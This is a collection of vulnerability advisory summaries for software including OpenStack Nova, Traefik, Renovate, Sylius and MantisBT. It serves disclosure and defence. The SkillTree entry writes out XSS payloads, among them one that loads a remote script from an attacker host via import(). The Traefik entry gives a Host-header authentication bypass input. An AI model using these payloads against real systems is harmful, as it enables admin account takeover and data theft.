openstack-nova-compute: Arbitrary Host File Overwrite via Unconstrained qemu-img Format Handling in OpenStack Nova

An issue was discovered in OpenStack Nova before 30.2.2, 31 before 31.2.1, and 32 before 32.1.1. By writing a malicious QCOW header to a root or ephemeral disk and then triggering a resize, a user may convince Nova's Flat image backend to call qemu-img without a format restriction, resulting in an unsafe image resize operation that could destroy data on the host system. Only compute nodes using the Flat image backend (usually configured with use_cow_images=False) are affected.

XXE Local File Disclosure in IntelliJ IDEA Hadoop ResourceManager

In JetBrains IntelliJ IDEA before 2026.2.1 hadoop ResourceManager could read local files via XXE

In JetBrains IntelliJ IDEA before 2026.2.1 xXE was possible in the Eclipse settings importers

Traefik v3.7.0 Authentication Bypass via from-to-www-redirect

Traefik is a HTTP reverse proxy and load balancer. In versions >= v3.7.0 and <= v3.7.11, the Kubernetes ingress-nginx provider mishandles Ingresses that carry both an authentication annotation and the nginx.ingress.kubernetes.io/from-to-www-redirect annotation. For such Ingresses the provider creates an additional 'sibling' router that matches on the host alone, carries only the RedirectRegex middleware, and still points at the parent router's protected backend service. Because RedirectRegex is not a terminal handler, a request its pattern does not match is forwarded to the backend, and because the redirect pattern only accepts a numeric port while Traefik's host matcher canonicalizes the authority via net.SplitHostPort, a request with a non-numeric or empty port (for example 'Host: www.example.com:x') selects the sibling router, misses the redirect, and is proxied to the protected backend with none of the Ingress's annotation-derived middlewares applied. This discards not only authentication (e.g. BasicAuth) but every annotation-derived middleware, including source-IP allowlisting. Traefik v2 and v3 releases before v3.7.0 are not affected. The issue is fixed in v3.7.12.

Renovate before 44.11.2 Credential Exfiltration via Link Header

Renovate is a dependency update automation tool. In versions before 44.11.2 (and Mend Renovate CE/EE images and charts before 15.4.0, and mend-renovate-enterprise-edition helm chart before 10.4.0), when listing new package versions from a NuGet registry Renovate follows pagination URLs supplied by the registry in the HTTP `Link` header without verifying that the target has the same origin as the configured registry. Registry credentials are attached to the request for the 'next' page, so a malicious or compromised NuGet registry can return a `Link` header pointing at an attacker-controlled server and cause Renovate to send the registry credentials to that server. Exploitation requires the remote registry to be malicious or compromised; such a registry would normally already have received the credentials on the initial request, so the issue primarily allows the credentials to be delivered to an additional, attacker-chosen host. The fix restricts pagination to the same origin; the previous behaviour can be re-enabled with the RENOVATE_X_NUGET_PAGINATION_ALLOW_CROSS_ORIGIN option.

Renovate before 44.11.2 Credential Exfiltration via Link Header

Renovate is a dependency update automation tool. When listing tags/digests for a container image, Renovate follows pagination links supplied by the remote registry in the HTTP Link header and attaches the registry credentials to the follow-up request without verifying that the pagination URL has the same origin as the original registry. A malicious or compromised container registry can therefore specify a Link header pointing to an attacker-controlled host and receive the credentials Renovate uses for that registry. Exploitation requires that the target has container (Docker) dependencies and is already interacting with the malicious or compromised registry. This is fixed in Renovate 44.11.2 (npm and renovate/renovate images), Mend Renovate CE/EE 15.4.0 and the mend-renovate-enterprise-edition Helm chart 10.4.0; the same-origin check can be disabled with RENOVATE_X_DOCKER_PAGINATION_ALLOW_CROSS_ORIGIN.

fuse: fix missing barrier when checking io-uring readiness

In the Linux kernel, the following vulnerability has been resolved: fuse: fix missing barrier when checking io-uring readiness fuse_block_alloc() reads fch->initialized and then fch->io_uring. fch->io_uring is set before fch->initialized, ordered by the smp_wmb() in fuse_chan_set_intialized(), but fuse_block_alloc() has no matching read barrier between the two loads. This may lead a CPU to observe fch->initialized=1 but fch->io_uring=0, and skip the check that blocks request allocation until the io-uring queues are ready. This can reintroduce the lock-order inversion deadlock that commit 3393ff964e0f prevents. Add an smp_rmb() barrier to pair with the smp_wmb() in fuse_chan_set_initialized() to prevent this.

Uncontrolled recursion in QDomDocument/QDomNode serialization causes stack exhaustion (QtXml)

Uncontrolled recursion (CWE-674) in the QDomDocument/QDomNode serialization path of the Qt XML module (QtXml, qtbase). QDomElementPrivate::save() and QDomNodePrivate::save() recurse mutually, consuming one stack frame per level of element nesting with no depth limit, no configurable bound and no error return. A document with deeply nested elements parses successfully but exhausts the call stack and terminates the process when serialized. Reachable via QDomDocument::toByteArray() (Qt 4.0 and later), QDomDocument::toString(), QDomDocument::toCString(), QDomNode::save(), and operator<<(QTextStream&, const QDomNode&). Denial of service only — no code execution and no memory disclosure.

Concrete CMS 8.3.0 through 9.5.2 is vulnerable to an authorization bypass through user-controlled key (cross-calendar IDOR) in the Calendar event edit dialog

Concrete CMS versions 8.3.0 through 9.5.2 are vulnerable to an authorization bypass in the Calendar event edit dialog (concrete/controllers/dialog/event/edit.php). The dialog checked permissions against the calendar identifier supplied in the request rather than the calendar owning the targeted event occurrence. A user with the "Add Event" permission on a single calendar could read and overwrite events on calendars they were not permitted to access, and could delete an event's original local occurrence. Publishing the injected version to the live calendar, which demotes the previously approved version, additionally required the actor's approve_calendar_event workflow rights or an auto-approving workflow. The Concrete CMS Security Team gave this a rank of 5.9 with CVSS 4.0 vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.

Bifrost Unauthorized Channel Commission Attribution Allows Commission Diversion

The `vtoken-minting` and `slpx` pallets in Bifrost contain an improper authorization vulnerability in channel commission attribution. A signed account can supply an arbitrary registered `channel_id` when minting tokens without verifying that the caller is authorized to mint on behalf of that channel. This allows an attacker to inflate a channel's recorded mint volume and cause protocol commission payments to be disproportionately distributed to that channel during commission settlement.

Sylius: IDOR on Shop Payment Request API endpoints

Sylius is an Open Source eCommerce Framework on Symfony. Starting in version 2.0.0 and prior to version 2.0.18, 2.1.15, and 2.2.6, the `GET /api/v2/shop/payment-requests/{hash}` and `PUT /api/v2/shop/payment-requests/{hash}` endpoints look up the payment request solely by the hash from the URL. No ownership check is performed against the authenticated customer or the underlying order. An attacker who obtains a payment request hash can read the payment request and, through the `payment` IRI in the response, recover the underlying order's `tokenValue` (which itself grants access to the full order, items, addresses, customer email, totals); and/or update the payment request payload (e.g. `target_path`, `after_path`). These fields are used by the front-end controller to redirect the user after the payment, so an attacker can flip them to an attacker-controlled URL and intercept the buyer. The hash is a UUID, so it has to be obtained out-of-band (logs, shared links, referrer headers, a co-located client), but once it is known no other credential is required, neither authentication nor knowledge of the order token. The creation endpoint `POST /api/v2/shop/orders/{tokenValue}/payment-requests` shares the same flaw: it resolves the target order solely from the `tokenValue` in the URL without verifying that the caller owns the order. The issue is fixed in versions 2.0.18, 2.1.15, and 2.2.6. As a workaround, add a query extension that filters the `GET` operation; decorate the `PUT` state provider, guard the `POST` creation endpoint with a command-bus middleware, and wire the services.

Sylius: Cart FormComponent allows modification or deletion of an already-completed order

Sylius is an Open Source eCommerce Framework on Symfony. Versions 2.0.0 through 2.0.17, 2.1.0 through 2.1.14, and 2.2.0 through 2.2.5 contain an improper workflow enforcement vulnerability in the cart `FormComponent`. When an order is completed while its cart page remains open, the stale LiveComponent does not detect the order’s changed state and continues to permit cart actions, allowing an authenticated customer to modify or permanently delete an already completed order. Versions 2.0.18, 2.1.15, and 2.2.6 contain a patch. As a workaround, deployments can copy the patched `FormComponent` into the application's `src/` directory and override the `sylius_shop.twig.component.cart.form` service definition to use that class.

IBM App Connect Enterprise and IBM Integration Bus for z/OS Adapter nodes are vulnerable to multiple CVEs

IBM App Connect Enterprise 13.0.1.0 through 13.0.8.1, and 12.0.1.0 through 12.0.12.28 and IBM Integration Bus for z/OS 10.1.0.0 through 10.1.0.7 could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection.

Address Deletion Authorization Bypass in Mageplaza GDPR Module

Missing authorization in the Address Delete controller in Mageplaza GDPR for Magento 2 (mageplaza/module-gdpr) through 4.2.9 allows remote unauthenticated attackers to delete any customer's saved address, and to erase all stored addresses by iterating the address id, via a GET request to /customer/address/delete/id/{id}. The controller extends the legacy Action class instead of AbstractAccount, so no authentication, ownership or form key check is enforced.

Tor Pre‑0.4.9.12 Unchecked CC_RESPONSE Causes Denial of Service

Tor before 0.4.9.12 interprets the CC_RESPONSE extension even when CC_REQUEST was not sent, which allows remote attackers to cause a denial of service (crash) because of corrupted congestion-control state. This is TROVE-2026-032.

SiYuan before v3.8.2 Read-Only Boundary Bypass via fullTextSearchBlock

SiYuan versions <= 3.8.1 contain an incomplete fix for CVE-2026-32767 (GHSA-j7wh-x834-p3r7). The prior fix (commit d5e2d0bc) added an administrator check for SQL mode (method=2) in POST /api/search/fullTextSearchBlock, but the endpoint still does not enforce the application's read-only boundary: for method=2 it forwards caller-supplied SQL to the blocks database query path without calling model.CheckReadonly or CheckReadonlyStatementInBox. As a result, when a workspace runs in read-only mode (--readonly=true), an authenticated administrator can submit arbitrary SQL through /api/search/fullTextSearchBlock and obtain raw read access to the blocks database, even though the dedicated /api/query/sql endpoint is blocked in that mode. Fixed in v3.8.2.

MantisBT: SOAP API Authentication Bypass with Privilege Escalation to Administrator

MantisBT is an open source bug tracker. Versions 2.28.3 and earlier contain a critical authentication bypass in the SOAP API's mci_check_login() function. Any user knowing any valid cookie_string can authenticate as any other user (knowing their username), including the administrator, without knowing the target's password. The vulnerability is exploitable with zero prior access on default MantisBT installations because self-registration is enabled by default ($g_allow_signup = ON). A self-registered user can use their own cookie_string (readable from their browser's MANTIS_STRING_COOKIE cookie after login) to impersonate the administrator via the SOAP API. The REST API is NOT affected. The REST API's AuthMiddleware derives the username server-side from the API token or session cookie, so the username cannot be spoofed. The Web UI is NOT affected. The Web UI authenticates via PHP session cookies (PHPSESSID) and validates the MANTIS_STRING_COOKIE against the logged-in user through auth_is_cookie_valid(). The username is derived server-side from the cookie, not supplied by the client. Version 2.28.4 contains a patch. No known workarounds are available.

Improper Authorization in Sage AR Automation API Enables Cross‑Tenant Administrative Access

Cash Collect contains an improper authorization vulnerability in the Sage AR Automation API. Insufficient tenant-level authorization checks allow authenticated users to access administrative resources belonging to other tenants by specifying a valid non predictable tenant identifier.

NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover

SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.

Heap over-read or silent misparse via 32-bit truncation of JSON length in BSON JSON parser

A numeric truncation weakness exists in the JSON parsing component of the MongoDB C++ Driver's BSON library. An actor who controls the text that an embedding application hands to the library's public JSON parsing interface, when that text is very large, can cause the library to read memory beyond the supplied buffer and return it to the caller, to silently accept only part of the input as a complete document, or to terminate the process. No MongoDB server, credentials, or non-default configuration is required; the effect is confined to the process that uses the library.